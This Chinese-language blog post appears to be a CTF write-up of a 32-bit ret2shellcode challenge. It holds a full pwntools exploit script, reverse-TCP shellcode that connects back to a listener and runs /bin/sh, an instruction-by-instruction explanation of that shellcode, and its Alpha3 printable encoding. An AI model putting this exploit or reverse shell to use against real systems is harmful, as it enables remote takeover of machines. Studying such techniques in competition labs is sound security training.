Mindedness

Announcement

Welcome to my blog

Learn More

标签

1891 字

9 分钟

记录一次 TCP Reverse Shellcode

2025-04-06

pwn学习之路

pwn

/

TCP

前言#

打了一次学校举办的网安赛，里面就两个 Pwn题 ~~这个学校就是逊啦~~

附件在github里 Learning-Record/记录一次 Ret2Shellcode at main · MindednessKind/Learning-Record

Challenge#

Checksec#

CheckSec：

1
[*] '/home/mindedness/Shares/pwn/attachment'
2
    Arch:       i386-32-little
3
    RELRO:      Full RELRO
4
    Stack:      No canary found
5
    NX:         NX unknown - GNU_STACK missing
6
    PIE:        PIE enabled
7
    Stack:      Executable
8
    RWX:        Has RWX segments
9
    SHSTK:      Enabled
10
    IBT:        Enabled
11
    Stripped:   No

Vuln Function#

32位，NX关，有RWX

首先映入眼帘的就是一个泄露点加上一个溢出点

Stack View#

padding = 0xF8 - 0x10

也就是在输入 0xE8字节后，会泄露buf的值，即可获取开头位置。

第二次可以覆盖到 return address，因而我们可以进行Ret2Shellcode技术的利用

曲折的思索过程#

‍

这个题的filter()函数使得我们的Shellcode需要是可见字符，因而我们需要使用Alpha3对Shellcode进行转换

‍

程序将 stdin stdout stderr 悉数关闭，因此我们原来一般使用的ShellCode在该题都无法使用。

‍

这个题和其他我做过的 Ret2Shellcode 不一样的就是这里，我第一次使用所谓反连TCP的Shellcode。

而且，网上的 connect()+dupsh() 是无法完成反弹shell的(正是因为将stdin、stdout、stderr悉数关闭)，所以我们自己摸索shellcode的构造。

我一开始构造的ShellCode如下

1
from pwn import *
2

3
context.arch = 'i386'
4

5
# 构造 shellcode
6
shellcode = shellcraft.connect('127.1.1.1', 8080)  # 连接到攻击者的 IP 和端口
7
shellcode += shellcraft.mov('ebx', 'eax')          # 将 socket fd 保存到 ebx
8
shellcode += shellcraft.dup2('ebx', 0)             # 将 socket fd 复制到 stdin (0)
9
shellcode += shellcraft.dup2('ebx', 1)             # 将 socket fd 复制到 stdout (1)
10
shellcode += shellcraft.dup2('ebx', 2)             # 将 socket fd 复制到 stderr (2)
11
shellcode += shellcraft.sh()                       # 执行 /bin/sh
12

13
# 将 shellcode 编译为字节码
14
sh = asm(shellcode)
15
print(sh)

然而，我们会发现，这样构造的ShellCode在Alpha3变换后长度过长，无法使用。

~~因为是断网的比赛，我也没有足够的shellcode库存，其实我在打比赛的时候就到打这里了~~

解决方案#

Reverse TCP ShellCode#

我们可以在shellstorm上找到这样一个ShellCode:

Linux/x86 - Shell Reverse TCP Shellcode - 74 bytes

1
/*
2
*  Title:    Shell Reverse TCP Shellcode - 74 bytes
3
*  Platform: Linux/x86
4
*  Date:     2014-07-25
5
*  Author:   Julien Ahrens (@MrTuxracer)
6
*  Website:  http://www.rcesecurity.com
7
*
8
* Disassembly of section .text:
9
*  00000000 <_start>:
10
*  0:   6a 66                push   0x66
11
*  2:   58                   pop    eax
12
*  3:   6a 01                push   0x1
13
*  5:   5b                   pop    ebx
14
*  6:   31 d2                xor    edx,edx
15
*  8:   52                   push   edx
16
*  9:   53                   push   ebx
17
*  a:   6a 02                push   0x2
18
*  c:   89 e1                mov    ecx,esp
19
*  e:   cd 80                int    0x80
20
* 10:   92                   xchg   edx,eax
21
* 11:   b0 66                mov    al,0x66
22
* 13:   68 7f 01 01 01       push   0x101017f <ip: 127.1.1.1
23
* 18:   66 68 05 39          pushw  0x3905 <port: 1337
24
* 1c:   43                   inc    ebx
25
* 1d:   66 53                push   bx
26
* 1f:   89 e1                mov    ecx,esp
27
* 21:   6a 10                push   0x10
28
* 23:   51                   push   ecx
29
* 24:   52                   push   edx
30
* 25:   89 e1                mov    ecx,esp
31
* 27:   43                   inc    ebx
32
* 28:   cd 80                int    0x80
33
* 2a:   6a 02                push   0x2
34
* 2c:   59                   pop    ecx
35
* 2d:   87 da                xchg   edx,ebx
36
*
37
* 0000002f <loop>:
38
* 2f:   b0 3f                mov    al,0x3f
39
* 31:   cd 80                int    0x80
40
* 33:   49                   dec    ecx
41
* 34:   79 f9                jns    2f <loop>
42
* 36:   b0 0b                mov    al,0xb
43
* 38:   41                   inc    ecx
44
* 39:   89 ca                mov    edx,ecx
45
* 3b:   52                   push   edx
46
* 3c:   68 2f 2f 73 68       push   0x68732f2f
47
* 41:   68 2f 62 69 6e       push   0x6e69622f
48
* 46:   89 e3                mov    ebx,esp
49
* 48:   cd 80                int    0x80
50
*/
51

52
#include <stdio.h>
53

54
unsigned char shellcode[] = \
55
"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
56
main()
57
{
58
printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
59
int (*ret)() = (int(*)())shellcode;
60
ret();
61
}

我们在此对其ShellCode的构造进行一下学习

学习#

1. 创建 Socket#

1
push   0x66        ; 将 0x66 (socketcall 的系统调用号) 压栈
2
pop    eax         ; 将 0x66 弹出到 eax
3
push   0x1         ; 将 0x1 (SYS_SOCKET) 压栈
4
pop    ebx         ; 将 0x1 弹出到 ebx
5
xor    edx, edx    ; edx = 0
6
push   edx         ; 将 0 (protocol) 压栈
7
push   ebx         ; 将 1 (type: SOCK_STREAM) 压栈
8
push   0x2         ; 将 2 (domain: AF_INET) 压栈
9
mov    ecx, esp    ; ecx 指向栈顶，即 socket 的参数
10
int    0x80        ; 调用 socketcall，创建 socket
11
xchg   edx, eax    ; 将 socket 的文件描述符保存到 edx

功能：

创建一个 TCP socket，文件描述符存储在 edx 中。

也就是socket

‍

2. 连接到攻击者的 IP 和端口#

1
mov    al, 0x66    ; eax = 0x66 (socketcall 的系统调用号)
2
push   0x101017f   ; 将 IP 地址 127.1.1.1 压栈
3
pushw  0x3905      ; 将端口号 1337 压栈
4
inc    ebx         ; ebx = 2 (SYS_BIND)
5
push   bx          ; 将 2 (AF_INET) 压栈
6
mov    ecx, esp    ; ecx 指向栈顶，即 sockaddr_in 结构
7
push   0x10        ; 将 16 (addrlen) 压栈
8
push   ecx         ; 将 sockaddr_in 结构的指针压栈
9
push   edx         ; 将 socket 的文件描述符压栈
10
mov    ecx, esp    ; ecx 指向栈顶，即 connect 的参数
11
inc    ebx         ; ebx = 3 (SYS_CONNECT)
12
int    0x80        ; 调用 socketcall，连接到攻击者的 IP 和端口

功能：

连接到攻击者的 IP (127.1.1.1) 和端口 (1337)。

‍

3. 重定向标准输入、输出和错误#

1
push   0x2         ; 将 2 压栈
2
pop    ecx         ; ecx = 2 (stdout 的文件描述符)
3
xchg   edx, ebx    ; 将 socket 的文件描述符保存到 ebx
4

5
loop:
6
mov    al, 0x3f    ; eax = 0x3f (dup2 的系统调用号)
7
int    0x80        ; 调用 dup2，将 socket fd 复制到 ecx 指定的文件描述符
8
dec    ecx         ; ecx-- (依次处理 stderr, stdout, stdin)
9
jns    loop        ; 如果 ecx >= 0，继续循环

功能：

将 socket 的文件描述符复制到 stdin (0)、stdout (1) 和 stderr (2)。

‍

4. 执行 `/bin/sh`#

1
mov    al, 0xb     ; eax = 0xb (execve 的系统调用号)
2
inc    ecx         ; ecx = 0
3
mov    edx, ecx    ; edx = 0
4
push   edx         ; 将 0 (null terminator) 压栈
5
push   0x68732f2f  ; 将 "//sh" 压栈
6
push   0x6e69622f  ; 将 "/bin" 压栈
7
mov    ebx, esp    ; ebx 指向 "/bin//sh" 的地址
8
int    0x80        ; 调用 execve，执行 /bin/sh

功能：

执行 /bin/sh，提供一个交互式 shell。

‍

其实际如果用pwntools中的shellcraft模块写，可以这么理解：

1
from pwn import *
2

3
# 设置目标 IP 和端口
4
ip = "127.1.1.1"
5
port = 1337
6

7
# 创建 Shellcode
8
shellcode = shellcraft.pushstr(ip)  # 将 IP 地址推入栈中
9
shellcode += shellcraft.pushstr(port)  # 将端口号推入栈中
10
shellcode += shellcraft.socket('AF_INET', 'SOCK_STREAM', 0)  # 创建 TCP 套接字
11
shellcode += shellcraft.connect('AF_INET', port, ip)  # 连接到目标 IP 和端口
12
shellcode += shellcraft.dup2('ebp', 0)  # 重定向标准输入到套接字
13
shellcode += shellcraft.dup2('ebp', 1)  # 重定向标准输出到套接字
14
shellcode += shellcraft.dup2('ebp', 2)  # 重定向标准错误到套接字
15
shellcode += shellcraft.execve('/bin/sh', [], [])  # 执行 /bin/sh
16

17
# 将 Shellcode 编译为字节码
18
shellcode_bytes = asm(shellcode)
19

20
# 输出 Shellcode
21
print("Shellcode:")
22
print(enhex(shellcode_bytes))

但因为这样构造的shellcode不够简洁，所以还是得自己手写 💔

解决后#

通过上面的shellcode构建，我们就可以在本地获取到shell了。

Use.py#

1
from pwn import *
2
#import os
3

4
sh = b'\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68'
5

6
ip = [127,1,1,1]
7

8
k = b''
9
for i in ip:
10
    k += i.to_bytes()
11
sh += k #ip
12
#print(k)
13
sh += b'\x66\x68'
14
port = 1337
15
#print(hex(port))
16
sh += b'\x05\x39' #port
17

18
sh += b'\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
19

20
print(sh)

运行结果

1
❯ python ./use.py
2
b'jfXj\x01[1\xd2RSj\x02\x89\xe1\xcd\x80\x92\xb0fh\x7f\x01\x01\x01fh\x059CfS\x89\xe1j\x10QR\x89\xe1C\xcd\x80j\x02Y\x87\xda\xb0?\xcd\x80Iy\xf9\xb0\x0bA\x89\xcaRh//shh/bin\x89\xe3\xcd\x80'

Alpha3工具使用 ( 这里我是将简单Alpha3封装了一下，你们使用时应该用 `python2 ALPHA3.py`而不是 alpha3 )#

1
echo -e -n "jfXj\x01[1\xd2RSj\x02\x89\xe1\xcd\x80\x92\xb0fh\x7f\x01\x01\x01fh\x059CfS\x89\xe1j\x10QR\x89\xe1C\xcd\x80j\x02Y\x87\xda\xb0?\xcd\x80Iy\xf9\xb0\x0bA\x89\xcaRh//shh/bin\x89\xe3\xcd\x80" > shellcode.bin
2
alpha3 x86 ascii mixedcase ecx --input=shellcode.bin > output

得到Alpha3可见字符化后的ShellCode

1
hffffk4diFkDqj02Dqk0D1AuEE2O0T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X7L060n010T1k0u2j120R2x5M4R0Y1P0e2s4x4O0s4U4w2F020o4w4t5p2n3m3D0x2r3Y3U092K4x3h0b2Z7M0W0F2E1l1M0R001o3I3C384r0s

随后就可以构造Exp了

Exp.py#

1
from pwn import *
2
import LibcSearcher
3

4
file = "./attachment"
5
elf = ELF(file)
6

7
context(arch=elf.arch,os='linux')
8

9
if args['DEBUG']:
10
    context.log_level = 'debug'
11

12

13
if args['REMOTE']:
14
    io = remote('192.168.202.151', 32768)
15
else:
16
    io = process(file)
17

18

19
if elf.arch == 'i386':
20
    B = 4
21
elif elf.arch == 'amd64':
22
    B = 8
23
else:
24
    print("PLS Input The Address Byte: ")
25
    B = int(input())
26
print("B=" +str(B))
27

28
sla = lambda ReceivedMessage,SendMessage :io.sendlineafter(ReceivedMessage,SendMessage)
29
sl = lambda SendMessage :io.sendline(SendMessage)
30
sa = lambda ReceivedMessage,SendMessage :io.sendafter(ReceivedMessage,SendMessage)
31
rcv = lambda ReceiveNumber, TimeOut=Timeout.default :io.recv(ReceiveNumber, TimeOut)
32
rcu = lambda ReceiveStopMessage, Drop=False, TimeOut=Timeout.default :io.recvuntil(ReceiveStopMessage,Drop,TimeOut)
33

34

35

36
#gdb.attach(io)
37
#05 1F 3B 7D 05 52 81 2C 9F 0D
38

39

40

41
io.send(b'A'*0xe8)
42

43
rcu(b'A'*0xe8)
44

45
addr = u32(rcv(4))
46

47
success("Leaked Address: " + hex(addr))
48

49
#sh = b"hffffk4diFkDqj02Dqk0D1AuEE2O0T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X335o352M0T1k0u2j120R2x5M4R0Y1P0e2s4x4O0s4U4s0Y07064t8o4B0r3m3D0x2r3Y3U092K4x3h0b2Z7M0W0F2E1l1M0R001o3I3C384r0s"
50
sh = b"hffffk4diFkDqj02Dqk0D1AuEE2O0T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X7L060n010T1k0u2j120R2x5M4R0Y1P0e2s4x4O0s4U4w2F020o4w4t5p2n3m3D0x2r3Y3U092K4x3h0b2Z7M0W0F2E1l1M0R001o3I3C384r0s"
51

52
payload = sh
53
padding = 0xf8 +B
54
payload = payload.ljust(padding,b'A')
55
payload += flat([addr,addr])
56
#gdb.attach(io)
57
io.sendline(payload)
58

59
io.interactive()

测试结果#

本地测试通过

由于此时比赛结束，我只能把它的题目自己部署，自己打了。

线上测试：

‍

把上面的注释去掉，下面注释上，运行 python ./Exp.py REMOTE

记得在接收shell的机器上运行nc -lvp 1337

线上也打通 (记得这里需要满足一个条件： ShellCode需要是Null-Free的，因而我们的IP地址如果带0，则需要进行IP地址的修改)

‍